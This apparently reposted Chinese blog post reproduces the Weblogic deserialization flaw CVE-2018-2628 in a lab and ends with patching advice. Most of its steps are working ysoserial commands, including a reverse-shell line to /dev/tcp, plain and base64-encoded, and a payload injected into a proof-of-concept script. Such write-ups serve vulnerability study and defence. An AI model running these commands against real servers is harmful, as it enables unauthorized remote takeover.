Weblogic反序列化命令执行漏洞(CVE-2018-2628)复现

Posted 君莫hacker

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Weblogic反序列化命令执行漏洞(CVE-2018-2628)复现相关的知识,希望对你有一定的参考价值。

0x01 漏洞介绍

  1. 漏洞描述
    Weblogic Server WLS Core Components反序列化命令执行漏洞(CVE-2018-2628),该漏洞通过T3协议触发,可导致未授权的用户在远程服务器执行任意命令

  2. 漏洞编号
    CVE-2018-2628

  3. 受影响版本
    Weblogic 10.3.6.0
    Weblogic 12.1.3.0
    Weblogic 12.2.1.2
    Weblogic 12.2.1.3

0x02 环境部署:

搭建一次,复现百次
靶机 ip:192.168.30.209
kali ip:192.168.30.182

0x03 漏洞复现

1. 查看T3服务

在kali上使用脚本weblogic-t3-info扫描目标主机是否开启T3服务

从扫描结果可以看出目标主机已开启T3服务

2. 下载检测漏洞脚本,并进行解压

git clone https://codechina.csdn.net/mirrors/Lighird/CVE-2018-2628.git


解压:

unrar x CVE-2018-2628.rar /root/CVE-2018-2628 

3. 设置所要检测的ip, 并运行脚本


python CVE-2018-2628-MultiThreading.py 


出现is vul CVE-2018-2628说明漏洞存在,接下来我们开始复现

4. 启动JRMP Server

目的是为了使得触发漏洞后weblogic所在服务器可以远程调用执行特定的程序

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
#[listen port]是需要JRMP Server监听的端口,这个端口的作用是为了让目的主机上weblogic进行远程调用kali方法时,可以连接到我们自己的主机
#[command]为要执行的命令

以下我们执行反弹shell命令,我们需要注意需要对执行的命令进行需要进行一次编码,因为 Runtime.getRuntime().exec() 中不能使用管道符等bash需要的方法
编码网址

#java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 'bash -i >& /dev/tcp/192.168.30.182/1234 0>&1'
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMwLjE4Mi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'


最后一行出现 * Opening JRMP listener on 8888,说明JRMP Server正在监听8888端口

5. 制作Payload

在kali上打开一个新终端,使用ysoserial-0.1-cve-2018-2628-all.jar工具生成一个payload,因为要实现weblogic远程调用kali方法,所以就需要知道kali主机的ip与端口

java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 192.168.30.182:8888 | xxd -p | tr -d $'\\n' && echo

6. 导入Payload并修改目的IP

将weblogic_poc.py中的使用的payload替换为我们刚刚生成的payload,并且将目标ip

vim weblogic_poc.py



7. 进行监听端口1234

8. 执行脚本weblogic_poc.py

9. 反弹shell成功

0x04 漏洞修复

  1. 官方补丁:T3协议漏洞加固的话可以打上官方最新的补丁,可使用正版软件许可账户登录 https://support.oracle.com,下载最新补丁。
  2. 手工修复:控制T3协议的访问权限来临时阻断漏洞利用。

以上是关于Weblogic反序列化命令执行漏洞(CVE-2018-2628)复现的主要内容,如果未能解决你的问题,请参考以下文章

Weblogic反序列化命令执行漏洞(CVE-2018-2628)复现

Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)

weblogic反序列化漏洞复现( CVE-2019-2725)

Vulhub漏洞系列:Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)

(CVE-2018-2628)Weblogic WLS Core Components 反序列化命令执行漏洞

漏洞预警Oracle WebLogic wls9-async组件存在反序列化远程命令执行漏洞预警通告